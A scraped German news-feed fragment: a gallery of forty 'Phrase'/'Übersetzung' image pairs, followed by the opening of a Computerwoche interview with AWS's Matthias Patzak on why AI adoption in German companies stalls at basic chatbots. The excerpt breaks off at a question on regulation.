src="https://images.computerwoche.de/bdb/145853/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 3</p></figcaption></figure></div><p><strong>Übersetzung 3</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 3" title="Übersetzung 3" src="https://images.computerwoche.de/bdb/145894/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 3</p></figcaption></figure></div><p><strong>Phrase 4</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 4" title="Phrase 4" src="https://images.computerwoche.de/bdb/145854/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 4</p></figcaption></figure></div><p><strong>Übersetzung 4</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 4" title="Übersetzung 4" src="https://images.computerwoche.de/bdb/145895/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 4</p></figcaption></figure></div><p><strong>Phrase 5</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 5" title="Phrase 5" src="https://images.computerwoche.de/bdb/145855/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 5</p></figcaption></figure></div><p><strong>Übersetzung 5</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 5" title="Übersetzung 5" src="https://images.computerwoche.de/bdb/145896/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 5</p></figcaption></figure></div><p><strong>Phrase 6</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 6" title="Phrase 6" src="https://images.computerwoche.de/bdb/145856/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 6</p></figcaption></figure></div><p><strong>Übersetzung 6</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 6" title="Übersetzung 6" src="https://images.computerwoche.de/bdb/145897/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 6</p></figcaption></figure></div><p><strong>Phrase 7</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 7" title="Phrase 7" src="https://images.computerwoche.de/bdb/145857/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 7</p></figcaption></figure></div><p><strong>Übersetzung 7</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 7" title="Übersetzung 7" src="https://images.computerwoche.de/bdb/145898/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 7</p></figcaption></figure></div><p><strong>Phrase 8</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 8" title="Phrase 8" src="https://images.computerwoche.de/bdb/145858/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 8</p></figcaption></figure></div><p><strong>Übersetzung 8</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 8" title="Übersetzung 8" src="https://images.computerwoche.de/bdb/145899/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 8</p></figcaption></figure></div><p><strong>Phrase 9</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 9" title="Phrase 9" src="https://images.computerwoche.de/bdb/145859/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 9</p></figcaption></figure></div><p><strong>Übersetzung 9</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 9" title="Übersetzung 9" src="https://images.computerwoche.de/bdb/145936/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 9</p></figcaption></figure></div><p><strong>Phrase 10</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 10" title="Phrase 10" src="https://images.computerwoche.de/bdb/145860/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 10</p></figcaption></figure></div><p><strong>Übersetzung 10</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 10" title="Übersetzung 10" src="https://images.computerwoche.de/bdb/145901/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 10</p></figcaption></figure></div><p><strong>Phrase 11</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 11" title="Phrase 11" src="https://images.computerwoche.de/bdb/145861/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 11</p></figcaption></figure></div><p><strong>Übersetzung 11</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 11" title="Übersetzung 11" src="https://images.computerwoche.de/bdb/145902/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 11</p></figcaption></figure></div><p><strong>Phrase 12</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 12" title="Phrase 12" src="https://images.computerwoche.de/bdb/145862/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 12</p></figcaption></figure></div><p><strong>Übersetzung 12</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 12" title="Übersetzung 12" src="https://images.computerwoche.de/bdb/145903/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 12</p></figcaption></figure></div><p><strong>Phrase 13</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 13" title="Phrase 13" src="https://images.computerwoche.de/bdb/145863/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 13</p></figcaption></figure></div><p><strong>Übersetzung 13</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 13" title="Übersetzung 13" src="https://images.computerwoche.de/bdb/145904/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 13</p></figcaption></figure></div><p><strong>Phrase 14</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 14" title="Phrase 14" src="https://images.computerwoche.de/bdb/145864/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 14</p></figcaption></figure></div><p><strong>Übersetzung 14</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 14" title="Übersetzung 14" src="https://images.computerwoche.de/bdb/145905/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 14</p></figcaption></figure></div><p><strong>Phrase 15</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 15" title="Phrase 15" src="https://images.computerwoche.de/bdb/145865/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 15</p></figcaption></figure></div><p><strong>Übersetzung 15</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 15" title="Übersetzung 15" src="https://images.computerwoche.de/bdb/145906/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 15</p></figcaption></figure></div><p><strong>Phrase 16</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 16" title="Phrase 16" src="https://images.computerwoche.de/bdb/145866/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 16</p></figcaption></figure></div><p><strong>Übersetzung 16</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 16" title="Übersetzung 16" src="https://images.computerwoche.de/bdb/145907/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 16</p></figcaption></figure></div><p><strong>Phrase 17</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 17" title="Phrase 17" src="https://images.computerwoche.de/bdb/145867/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 17</p></figcaption></figure></div><p><strong>Übersetzung 17</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 17" title="Übersetzung 17" src="https://images.computerwoche.de/bdb/145908/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 17</p></figcaption></figure></div><p><strong>Phrase 18</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 18" title="Phrase 18" src="https://images.computerwoche.de/bdb/145868/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 18</p></figcaption></figure></div><p><strong>Übersetzung 18</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 18" title="Übersetzung 18" src="https://images.computerwoche.de/bdb/145909/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 18</p></figcaption></figure></div><p><strong>Phrase 19</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 19" title="Phrase 19" src="https://images.computerwoche.de/bdb/145869/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 19</p></figcaption></figure></div><p><strong>Übersetzung 19</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 19" title="Übersetzung 19" src="https://images.computerwoche.de/bdb/145910/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 19</p></figcaption></figure></div><p><strong>Phrase 20</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 20" title="Phrase 20" src="https://images.computerwoche.de/bdb/145934/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 20</p></figcaption></figure></div><p><strong>Übersetzung 20</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 20" title="Übersetzung 20" src="https://images.computerwoche.de/bdb/145911/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 20</p></figcaption></figure></div><p><strong>Phrase 21</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 21" title="Phrase 21" src="https://images.computerwoche.de/bdb/145871/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 21</p></figcaption></figure></div><p><strong>Übersetzung 21</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 21" title="Übersetzung 21" src="https://images.computerwoche.de/bdb/145912/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 21</p></figcaption></figure></div><p><strong>Phrase 22</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 22" title="Phrase 22" src="https://images.computerwoche.de/bdb/145873/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 22</p></figcaption></figure></div><p><strong>Übersetzung 22</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 22" title="Übersetzung 22" src="https://images.computerwoche.de/bdb/145913/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 22</p></figcaption></figure></div><p><strong>Phrase 23</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 23" title="Phrase 23" src="https://images.computerwoche.de/bdb/145874/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 23</p></figcaption></figure></div><p><strong>Übersetzung 23</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 23" title="Übersetzung 23" src="https://images.computerwoche.de/bdb/145914/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 23</p></figcaption></figure></div><p><strong>Phrase 24</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 24" title="Phrase 24" src="https://images.computerwoche.de/bdb/145875/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 24</p></figcaption></figure></div><p><strong>Übersetzung 24</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 24" title="Übersetzung 24" src="https://images.computerwoche.de/bdb/145915/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 24</p></figcaption></figure></div><p><strong>Phrase 25</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 25" title="Phrase 25" src="https://images.computerwoche.de/bdb/145876/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 25</p></figcaption></figure></div><p><strong>Übersetzung 25</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 25" title="Übersetzung 25" src="https://images.computerwoche.de/bdb/145916/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 25</p></figcaption></figure></div><p><strong>Phrase 26</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 26" title="Phrase 26" src="https://images.computerwoche.de/bdb/145877/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 26</p></figcaption></figure></div><p><strong>Übersetzung 26</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 26" title="Übersetzung 26" src="https://images.computerwoche.de/bdb/145923/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 26</p></figcaption></figure></div><p><strong>Phrase 27</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 27" title="Phrase 27" src="https://images.computerwoche.de/bdb/145878/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 27</p></figcaption></figure></div><p><strong>Übersetzung 27</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 27" title="Übersetzung 27" src="https://images.computerwoche.de/bdb/145924/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 27</p></figcaption></figure></div><p><strong>Phrase 28</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 28" title="Phrase 28" src="https://images.computerwoche.de/bdb/145879/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 28</p></figcaption></figure></div><p><strong>Übersetzung 28</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 28" title="Übersetzung 28" src="https://images.computerwoche.de/bdb/145935/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 28</p></figcaption></figure></div><p><strong>Phrase 29</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 29" title="Phrase 29" src="https://images.computerwoche.de/bdb/145880/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 29</p></figcaption></figure></div><p><strong>Übersetzung 29</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 29" title="Übersetzung 29" src="https://images.computerwoche.de/bdb/145925/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 29</p></figcaption></figure></div><p><strong>Phrase 30</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 30" title="Phrase 30" src="https://images.computerwoche.de/bdb/145881/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 30</p></figcaption></figure></div><p><strong>Übersetzung 30</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 30" title="Übersetzung 30" src="https://images.computerwoche.de/bdb/145918/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 30</p></figcaption></figure></div><p><strong>Phrase 31</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 31" title="Phrase 31" src="https://images.computerwoche.de/bdb/145933/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 31</p></figcaption></figure></div><p><strong>Übersetzung 31</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 31" title="Übersetzung 31" src="https://images.computerwoche.de/bdb/145926/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 31</p></figcaption></figure></div><p><strong>Phrase 32</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 32" title="Phrase 32" src="https://images.computerwoche.de/bdb/145883/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 32</p></figcaption></figure></div><p><strong>Übersetzung 32</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 32" title="Übersetzung 32" src="https://images.computerwoche.de/bdb/145919/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 32</p></figcaption></figure></div><p><strong>Phrase 33</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 33" title="Phrase 33" src="https://images.computerwoche.de/bdb/145884/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 33</p></figcaption></figure></div><p><strong>Übersetzung 33</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 33" title="Übersetzung 33" src="https://images.computerwoche.de/bdb/145927/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 33</p></figcaption></figure></div><p><strong>Phrase 34</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 34" title="Phrase 34" src="https://images.computerwoche.de/bdb/145885/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 34</p></figcaption></figure></div><p><strong>Übersetzung 34</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 34" title="Übersetzung 34" src="https://images.computerwoche.de/bdb/145920/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 34</p></figcaption></figure></div><p><strong>Phrase 35</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 35" title="Phrase 35" src="https://images.computerwoche.de/bdb/145886/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 35</p></figcaption></figure></div><p><strong>Übersetzung 35</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 35" title="Übersetzung 35" src="https://images.computerwoche.de/bdb/145928/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 35</p></figcaption></figure></div><p><strong>Phrase 36</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 36" title="Phrase 36" src="https://images.computerwoche.de/bdb/145887/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 36</p></figcaption></figure></div><p><strong>Übersetzung 36</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 36" title="Übersetzung 36" src="https://images.computerwoche.de/bdb/145921/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 36</p></figcaption></figure></div><p><strong>Phrase 37</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 37" title="Phrase 37" src="https://images.computerwoche.de/bdb/145888/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 37</p></figcaption></figure></div><p><strong>Übersetzung 37</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 37" title="Übersetzung 37" src="https://images.computerwoche.de/bdb/145929/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 37</p></figcaption></figure></div><p><strong>Phrase 38</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 38" title="Phrase 38" src="https://images.computerwoche.de/bdb/145889/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 38</p></figcaption></figure></div><p><strong>Übersetzung 38</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 38" title="Übersetzung 38" src="https://images.computerwoche.de/bdb/145922/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 38</p></figcaption></figure></div><p><strong>Phrase 39</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 39" title="Phrase 39" src="https://images.computerwoche.de/bdb/145890/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 39</p></figcaption></figure></div><p><strong>Übersetzung 39</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 39" title="Übersetzung 39" src="https://images.computerwoche.de/bdb/145930/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 39</p></figcaption></figure></div><p><strong>Phrase 40</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Phrase 40" title="Phrase 40" src="https://images.computerwoche.de/bdb/145891/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Phrase 40</p></figcaption></figure></div><p><strong>Übersetzung 40</strong><br></p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Übersetzung 40" title="Übersetzung 40" src="https://images.computerwoche.de/bdb/145931/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Übersetzung 40</p></figcaption></figure></div></div>

</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[„Ein KI-Agent ist wie ein neuer Kollege“]]></title>
<description><![CDATA[width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px">Matthias Patzak, Executive in Residence bei AWS: Für den echten Sprung zur Transformation fehlen den Mitarbeitern oft technisches Werkzeugwissen und soziale Kompetenzen im Umgang mit KI.AWS



Obwohl laut einer aktuellen AW...]]></description>
<link>https://tsecurity.de/de/3700155/it-security-nachrichten/ein-ki-agent-ist-wie-ein-neuer-kollege/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700155/it-security-nachrichten/ein-ki-agent-ist-wie-ein-neuer-kollege/</guid>
<pubDate>Mon, 03 Aug 2026 10:21:08 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Matthias Patzak, Executive in Residence bei AWS: Für den echten Sprung zur Transformation fehlen den Mitarbeitern oft technisches Werkzeugwissen und soziale Kompetenzen im Umgang mit KI.</figcaption></figure><p class="imageCredit">AWS</p></div>



<p class="wp-block-paragraph">Obwohl laut einer aktuellen AWS-Studie 63 Prozent der deutschen Unternehmen bereits KI nutzen, stagniert die tiefgreifende Transformation. Viele Projekte verharren auf dem Niveau einfacher Chatbots. Mit <a href="https://de.linkedin.com/in/matthias-patzak/de" target="_blank" rel="noreferrer noopener">Matthias Patzak</a>, Executive in Residence bei AWS und ehemaliger CTO bei Autoscout24, haben wir in einem Interview am Rande der <a href="https://www.computerwoche.de/article/4192808/der-gitex-ai-europe-geht-die-berliner-luft-aus.html">GITEX AI Europe</a> geklärt:</p>



<ul class="wp-block-list">
<li>warum echte KI-Transformation vor allem eine Frage von Führungskompetenz und Kultur ist,</li>



<li>wie agentische KI die Produktivität revolutioniert und</li>



<li>warum scheiternde Pilotprojekte zum R&amp;D-Prozess dazugehören.</li>
</ul>



<h2 class="wp-block-heading">“Ich warne vor Fatalismus“</h2>



<p class="wp-block-paragraph"><em>Herr Patzak, die aktuelle AWS-Studie „Erschließung des KI-Potenzials in Deutschland 2026“ zeigt ein paradoxes Bild: Zwar setzen mittlerweile 63 Prozent der deutschen Unternehmen KI ein – ein deutlicher Anstieg zum Vorjahr –, aber nur noch 15 Prozent nutzen diese für wirklich transformative Anwendungsfälle. Woran liegt es, dass die Skalierung von Pilotprojekten in der Praxis so stark stockt?</em></p>



<p class="wp-block-paragraph"><strong>Matthias Patzak</strong>: Zunächst einmal sehe ich die 63 Prozent extrem positiv und überraschend hoch. KI ist eine extrem junge Technologie. Vergleicht man dies mit früheren Technologie-Einführungen, befinden wir uns in einer absolut normalen und gesunden Adaptionskurve. Der scheinbare Rückgang beim transformativen Anteil von 21 auf 15 Prozent erklärt sich auch durch den massiven Zustrom neuer Anwender, die verständlicherweise auf Basisniveau einsteigen.</p>



<p class="wp-block-paragraph">Viele Unternehmen lizensieren derzeit Standard-Chatbots „von der Stange“. Diese nutzen jedoch weder unternehmenseigene Daten, noch sind sie tief in die Kernprozesse integriert. Für den echten Sprung zur Transformation fehlen den Mitarbeitern oft zwei Dinge: technisches Werkzeugwissen und – was völlig unterschätzt wird – soziale Kompetenzen im Umgang mit KI.</p>



<p class="wp-block-paragraph">Hinzu kommt ein ganz pragmatischer Ressourcenmangel: Laut Studie haben 39 Prozent der Unternehmen überhaupt kein dediziertes KI-Budget eingeplant. Ohne finanzielle Leitplanken fehlt Projekten von vornherein die Luft für den Rollout.</p>



<p class="wp-block-paragraph"><em>Als weiteres Hindernis wird im deutschen IT-Sektor oft die Bürokratie genannt. Wie stark bremst die Regulierung die Innovationen aus?</em></p>



